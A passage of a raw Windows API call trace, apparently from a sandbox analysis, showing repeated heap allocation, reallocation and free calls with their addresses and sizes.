(HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.264] GetProcessHeap () returned 0x630000 [0068.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.264] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e238, Size=0x59) returned 0x68f688 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f688, Size=0x5b) returned 0x68f890 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f890, Size=0x5d) returned 0x68f140 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ef0 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.265] GetProcessHeap () returned 0x630000 [0068.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f140, Size=0x5f) returned 0x68f828 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f828, Size=0x61) returned 0x6970e0 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6970e0, Size=0x63) returned 0x697460 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1040 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.266] GetProcessHeap () returned 0x630000 [0068.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697460, Size=0x65) returned 0x6970e0 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0fe0 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6970e0, Size=0x67) returned 0x6977e0 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6977e0, Size=0x69) returned 0x695948 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.267] GetProcessHeap () returned 0x630000 [0068.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695948, Size=0x6b) returned 0x6957e0 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6957e0, Size=0x6d) returned 0x695ba0 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1028 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695ba0, Size=0x6f) returned 0x695948 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.268] GetProcessHeap () returned 0x630000 [0068.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695948, Size=0x71) returned 0x690378 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690378, Size=0x73) returned 0x68fc78 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fc78, Size=0x75) returned 0x6908f8 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.269] GetProcessHeap () returned 0x630000 [0068.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6908f8, Size=0x77) returned 0x6901f8 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0fe0 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6901f8, Size=0x79) returned 0x68c780 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f80 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c780, Size=0x7b) returned 0x68b8a0 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.270] GetProcessHeap () returned 0x630000 [0068.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68b8a0, Size=0x7d) returned 0x68c340 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10d0 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c340, Size=0x7f) returned 0x68c560 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.319] GetProcessHeap () returned 0x630000 [0068.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0fe0 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68c560, Size=0x81) returned 0x6a4598 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4598, Size=0x83) returned 0x6a5318 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0fe0 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a5318, Size=0x85) returned 0x6a5288 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.320] GetProcessHeap () returned 0x630000 [0068.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.320] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a5288, Size=0x87) returned 0x6a4f28 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4f28, Size=0x89) returned 0x663780 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 